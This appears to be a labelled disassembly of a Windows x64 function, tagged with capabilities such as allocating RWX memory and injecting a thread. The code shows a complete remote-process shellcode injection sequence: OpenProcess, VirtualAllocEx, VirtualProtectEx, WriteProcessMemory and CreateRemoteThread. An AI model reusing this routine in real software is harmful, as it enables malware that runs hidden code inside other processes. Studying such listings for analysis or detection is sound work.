Function at 0x140018da0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
sub rsp, 0x268
mov rax, r8
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rdx
mov r8d, ecx
mov dword [rsp + 0x1ac], r8d
mov qword [rsp + 0x1b0], rdx
mov qword [rsp + 0x1b8], rax
mov ecx, 0x1fffff
xor edx, edx
call sub.KERNEL32.dll_OpenProcess
mov rcx, rax
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x1c0], rcx
call fcn.140004dc0
test al, 1
jne 0x140018e68
mov r8, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x238], 0
mov qword [rsp + 0x240], 0
mov qword [rsp + 0x250], 0
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0x248], rax
mov rdx, qword [rsp + 0x248]
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
call sub.KERNEL32.dll_VirtualAllocEx
mov rcx, rax
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x1c8], rcx
call fcn.140004dc0
test al, 1
jne 0x140018ecf
jmp 0x140018e96
lea rcx, [rsp + 0x70]
lea rdx, str.Failed_.._1_n
mov r8d, 1
call fcn.14001fe70
lea rcx, [rsp + 0x70]
call fcn.140028e30
mov dword [rsp + 0x6c], 1
jmp 0x140018f91
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x60]
mov dword [rsp + 0xd4], 0
mov r9d, 0x20
lea rax, [rsp + 0xd4]
mov qword [rsp + 0x20], rax
call sub.KERNEL32.dll_VirtualProtectEx
cmp eax, 0
je 0x140018f0d
jmp 0x140018f48
mov rcx, qword [rsp + 0x60]
call sub.KERNEL32.dll_CloseHandle
lea rcx, [rsp + 0xa0]
lea rdx, str.Failed_.._2_n
mov r8d, 1
call fcn.14001fe70
lea rcx, [rsp + 0xa0]
call fcn.140028e30
mov dword [rsp + 0x6c], 2
jmp 0x140018f91
mov rcx, qword [rsp + 0x60]
call sub.KERNEL32.dll_CloseHandle
lea rcx, [rsp + 0xd8]
lea rdx, str.Failed_.._3_n
mov r8d, 1
call fcn.14001fe70
lea rcx, [rsp + 0xd8]
call fcn.140028e30
mov dword [rsp + 0x6c], 3
jmp 0x140018f91
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x108], 0
mov qword [rsp + 0x258], r8
mov qword [rsp + 0x260], r9
lea rax, [rsp + 0x108]
mov qword [rsp + 0x20], rax
call sub.KERNEL32.dll_WriteProcessMemory
cmp eax, 0
je 0x140018f9d
jmp 0x140018fd8
mov eax, dword [rsp + 0x6c]
add rsp, 0x268
ret
mov rcx, qword [rsp + 0x60]
call sub.KERNEL32.dll_CloseHandle
lea rcx, [rsp + 0x110]
lea rdx, str.Failed_.._4_n
mov r8d, 1
call fcn.14001fe70
lea rcx, [rsp + 0x110]
call fcn.140028e30
mov dword [rsp + 0x6c], 4
jmp 0x140018f91
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x1d8], 0
mov qword [rsp + 0x1e0], 0
mov qword [rsp + 0x1f0], 0
mov rdx, qword [rsp + 0x1f0]
mov qword [rsp + 0x1e8], rdx
mov rdx, qword [rsp + 0x1e8]
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x218], 0
mov qword [rsp + 0x220], 0
mov qword [rsp + 0x230], 0
mov rax, qword [rsp + 0x230]
mov qword [rsp + 0x228], rax
mov r10, qword [rsp + 0x228]
mov qword [rsp + 0x1f8], 0
mov qword [rsp + 0x200], 0
mov qword [rsp + 0x210], 0
mov rax, qword [rsp + 0x210]
mov qword [rsp + 0x208], rax
mov rax, qword [rsp + 0x208]
mov r9, qword [rsp + 0x140]
xor r8d, r8d
xor r11d, r11d
mov qword [rsp + 0x20], r10
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x30], rax
call sub.KERNEL32.dll_CreateRemoteThread
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x1d0], rax
call sub.KERNEL32.dll_CloseHandle
mov rcx, qword [rsp + 0x40]
call fcn.140004dc0
test al, 1
jne 0x140019126
mov rcx, qword [rsp + 0x40]
call sub.KERNEL32.dll_CloseHandle
lea rcx, [rsp + 0x178]
lea rdx, str.Success_.._6_n
mov r8d, 1
call fcn.14001fe70
lea rcx, [rsp + 0x178]
call fcn.140028e30
mov dword [rsp + 0x6c], 6
jmp 0x140018f91
lea rcx, [rsp + 0x148]
lea rdx, str.Failed_.._5_n
mov r8d, 1
call fcn.14001fe70
lea rcx, [rsp + 0x148]
call fcn.140028e30
mov dword [rsp + 0x6c], 5
jmp 0x140018f91